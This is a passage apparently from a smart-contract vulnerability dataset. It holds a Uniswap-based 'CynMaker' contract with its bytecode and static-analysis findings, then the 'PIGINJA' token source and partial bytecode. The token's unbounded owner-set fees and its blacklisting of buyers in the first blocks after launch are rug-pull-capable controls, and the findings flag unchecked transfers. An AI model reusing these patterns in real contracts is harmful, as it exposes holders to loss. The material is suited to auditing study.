returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } contract CynMaker { using SafeMath for uint256; IUniswapV2Factory public factory; address public bar; address public cyn; address public weth; // Dev address. address public devaddr; constructor(IUniswapV2Factory _factory, address _cyn, address _bar, address _weth, address _devaddr) public { factory = _factory; cyn = _cyn; bar = _bar; weth = _weth; devaddr = _devaddr; } function convert(address token0, address token1) public { // At least we try to make front-running harder to do. require(msg.sender == tx.origin, "do not convert from contract"); IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token0, token1)); if (pair.balanceOf(address(this)) == 0) { return; } pair.transfer(address(pair), pair.balanceOf(address(this))); pair.burn(address(this)); uint256 wethAmount = _toWETH(token0) + _toWETH(token1); _toCYN(wethAmount); _DistributedCYN(); } function _toWETH(address token) internal returns (uint256) { if (token == cyn) { //uint amount = IERC20(token).balanceOf(address(this)); //IERC20(token).transfer(bar, amount); return 0; } if (token == weth) { uint amount = IERC20(token).balanceOf(address(this)); IERC20(token).transfer(factory.getPair(weth, cyn), amount); return amount; } IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token, weth)); if (address(pair) == address(0)) { return 0; } (uint reserve0, uint reserve1,) = pair.getReserves(); address token0 = pair.token0(); (uint reserveIn, uint reserveOut) = token0 == token ? (reserve0, reserve1) : (reserve1, reserve0); uint amountIn = IERC20(token).balanceOf(address(this)); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); uint amountOut = numerator / denominator; (uint amount0Out, uint amount1Out) = token0 == token ? (uint(0), amountOut) : (amountOut, uint(0)); IERC20(token).transfer(address(pair), amountIn); pair.swap(amount0Out, amount1Out, factory.getPair(weth, cyn), new bytes(0)); return amountOut; } function _toCYN(uint256 amountIn) internal { IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(weth, cyn)); (uint reserve0, uint reserve1,) = pair.getReserves(); address token0 = pair.token0(); (uint reserveIn, uint reserveOut) = token0 == weth ? (reserve0, reserve1) : (reserve1, reserve0); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); uint amountOut = numerator / denominator; (uint amount0Out, uint amount1Out) = token0 == weth ? (uint(0), amountOut) : (amountOut, uint(0)); // maker collects all the cyn pair.swap(amount0Out, amount1Out, address(this), new bytes(0)); } function _DistributedCYN() internal { // 10% of fee for devaddr (0.005% for swap amount) // 90% of fee for bar (0.045% for swap amount) uint amount = IERC20(cyn).balanceOf(address(this)); uint bar_amount = amount.mul(90) /100; uint dev_amount = amount.sub(bar_amount); IERC20(cyn).transfer(bar, bar_amount); IERC20(cyn).transfer(devaddr, dev_amount); } }
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806331416ee8146100675780633fc8cef31461008b578063bd1b820c14610093578063c45a0155146100c3578063d49e77cd146100cb578063febb0f7e146100d3575b600080fd5b61006f6100db565b604080516001600160a01b039092168252519081900360200190f35b61006f6100ea565b6100c1600480360360408110156100a957600080fd5b506001600160a01b03813581169160200135166100f9565b005b61006f6103f3565b61006f610402565b61006f610411565b6002546001600160a01b031681565b6003546001600160a01b031681565b33321461014d576040805162461bcd60e51b815260206004820152601c60248201527f646f206e6f7420636f6e766572742066726f6d20636f6e747261637400000000604482015290519081900360640190fd5b600080546040805163e6a4390560e01b81526001600160a01b03868116600483015285811660248301529151919092169163e6a43905916044808301926020929190829003018186803b1580156101a357600080fd5b505afa1580156101b7573d6000803e3d6000fd5b505050506040513d60208110156101cd57600080fd5b5051604080516370a0823160e01b815230600482015290519192506001600160a01b038316916370a0823191602480820192602092909190829003018186803b15801561021957600080fd5b505afa15801561022d573d6000803e3d6000fd5b505050506040513d602081101561024357600080fd5b505161024f57506103ef565b806001600160a01b031663a9059cbb82836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156102ac57600080fd5b505afa1580156102c0573d6000803e3d6000fd5b505050506040513d60208110156102d657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561032757600080fd5b505af115801561033b573d6000803e3d6000fd5b505050506040513d602081101561035157600080fd5b50506040805163226bf2d160e21b815230600482015281516001600160a01b038416926389afcb4492602480820193918290030181600087803b15801561039757600080fd5b505af11580156103ab573d6000803e3d6000fd5b505050506040513d60408110156103c157600080fd5b50600090506103cf83610420565b6103d885610420565b0190506103e481610aea565b6103ec610e0c565b50505b5050565b6000546001600160a01b031681565b6004546001600160a01b031681565b6001546001600160a01b031681565b6002546000906001600160a01b038381169116141561044157506000610ae5565b6003546001600160a01b03838116911614156105e8576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156104a657600080fd5b505afa1580156104ba573d6000803e3d6000fd5b505050506040513d60208110156104d057600080fd5b50516000546003546002546040805163e6a4390560e01b81526001600160a01b0393841660048201529183166024830152519394508187169363a9059cbb939092169163e6a4390591604480820192602092909190829003018186803b15801561053957600080fd5b505afa15801561054d573d6000803e3d6000fd5b505050506040513d602081101561056357600080fd5b5051604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152602482018590525160448083019260209291908290030181600087803b1580156105b357600080fd5b505af11580156105c7573d6000803e3d6000fd5b505050506040513d60208110156105dd57600080fd5b50909150610ae59050565b600080546003546040805163e6a4390560e01b81526001600160a01b03878116600483015292831660248201529051919092169163e6a43905916044808301926020929190829003018186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d602081101561066b57600080fd5b505190506001600160a01b038116610687576000915050610ae5565b600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106c357600080fd5b505afa1580156106d7573d6000803e3d6000fd5b505050506040513d60608110156106ed57600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b03871692630dfe1681926004808201939291829003018186803b15801561074957600080fd5b505afa15801561075d573d6000803e3d6000fd5b505050506040513d602081101561077357600080fd5b505190506000806001600160a01b0380841690891614610794578385610797565b84845b915091506000886001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107ea57600080fd5b505afa1580156107fe573d6000803e3d6000fd5b505050506040513d602081101561081457600080fd5b505190506000610826826103e5610fbc565b905060006108348285610fbc565b9050600061084e83610848886103e8610fbc565b9061101e565b9050600081838161085b57fe5b0490506000808e6001600160a01b03168a6001600160a01b03161461088257826000610886565b6000835b915091508e6001600160a01b031663a9059cbb8e896040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156108e157600080fd5b505af11580156108f5573d6000803e3d6000fd5b505050506040513d602081101561090b57600080fd5b8101908080519060200190929190505050508c6001600160a01b031663022c0d9f838360008054906101000a90046001600160a01b03166001600160a01b031663e6a43905600360009054906101000a90046001600160a01b0316600260009054906101000a90046001600160a01b03166040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b031681526020019250505060206040518083038186803b1580156109c957600080fd5b505afa1580156109dd573d6000803e3d6000fd5b505050506040513d60208110156109f357600080fd5b50516040805160008082526020820190925290506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a6e578181015183820152602001610a56565b50505050905090810190601f168015610a9b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610abd57600080fd5b505af1158015610ad1573d6000803e3d6000fd5b50949f505050505050505050505050505050505b919050565b600080546003546002546040805163e6a4390560e01b81526001600160a01b039384166004820152918316602483015251919092169163e6a43905916044808301926020929190829003018186803b158015610b4557600080fd5b505afa158015610b59573d6000803e3d6000fd5b505050506040513d6020811015610b6f57600080fd5b505160408051630240bc6b60e21b8152905191925060009182916001600160a01b03851691630902f1ac91600480820192606092909190829003018186803b158015610bba57600080fd5b505afa158015610bce573d6000803e3d6000fd5b505050506040513d6060811015610be457600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b03871692630dfe1681926004808201939291829003018186803b158015610c4057600080fd5b505afa158015610c54573d6000803e3d6000fd5b505050506040513d6020811015610c6a57600080fd5b505160035490915060009081906001600160a01b03808516911614610c90578385610c93565b84845b90925090506000610ca6886103e5610fbc565b90506000610cb48284610fbc565b90506000610cc883610848876103e8610fbc565b90506000818381610cd557fe5b600354919004915060009081906001600160a01b038a8116911614610cfc57826000610d00565b6000835b604080516000808252602082019092529294509092506001600160a01b038e169163022c0d9f9185918591309190506040518563ffffffff1660e01b815260040180858152602001848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d96578181015183820152602001610d7e565b50505050905090810190601f168015610dc35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b5050505050505050505050505050505050565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610e5757600080fd5b505afa158015610e6b573d6000803e3d6000fd5b505050506040513d6020811015610e8157600080fd5b5051905060006064610e9483605a610fbc565b81610e9b57fe5b0490506000610eaa8383611078565b6002546001546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101879052905193945091169163a9059cbb916044808201926020929091908290030181600087803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b505050506040513d6020811015610f2f57600080fd5b5050600254600480546040805163a9059cbb60e01b81526001600160a01b0392831693810193909352602483018590525192169163a9059cbb916044808201926020929091908290030181600087803b158015610f8b57600080fd5b505af1158015610f9f573d6000803e3d6000fd5b505050506040513d6020811015610fb557600080fd5b5050505050565b600082610fcb57506000611018565b82820282848281610fd857fe5b04146110155760405162461bcd60e51b815260040180806020018281038252602181526020018061114d6021913960400191505060405180910390fd5b90505b92915050565b600082820183811015611015576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061101583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156111445760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111095781810151838201526020016110f1565b50505050905090810190601f1680156111365780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220092d33e8e986f92033d89f28bb2880b57d60cb771518bc75ab3ee59fd6fbeb2264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,817
0x37d34d415265e495f0da26fa70097596d7146e21
/** *Submitted for verification at Etherscan.io on 2022-05-03 */ /** PIGINJA https://t.me/piginja https://www.piginja.com Piginja is the lonely ninja, who fends off jeets in the shadows. Guardian of his domain, the feudal Ethereum Network. */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PiginjaToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PIGINJA";// string private constant _symbol = "PIGINJA";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 15;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x71e0c70d338E5673259EA788441f9ee59e3C267D);// address payable private _marketingAddress = payable(0x78c7BA1956B788b8315057E2C2e4D07c11D6c2AB);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 16000000000 * 10**9; // uint256 public _maxWalletSize = 33000000000 * 10**9; // uint256 public _swapTokensAtAmount = 100000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600781526020017f504947494e4a4100000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff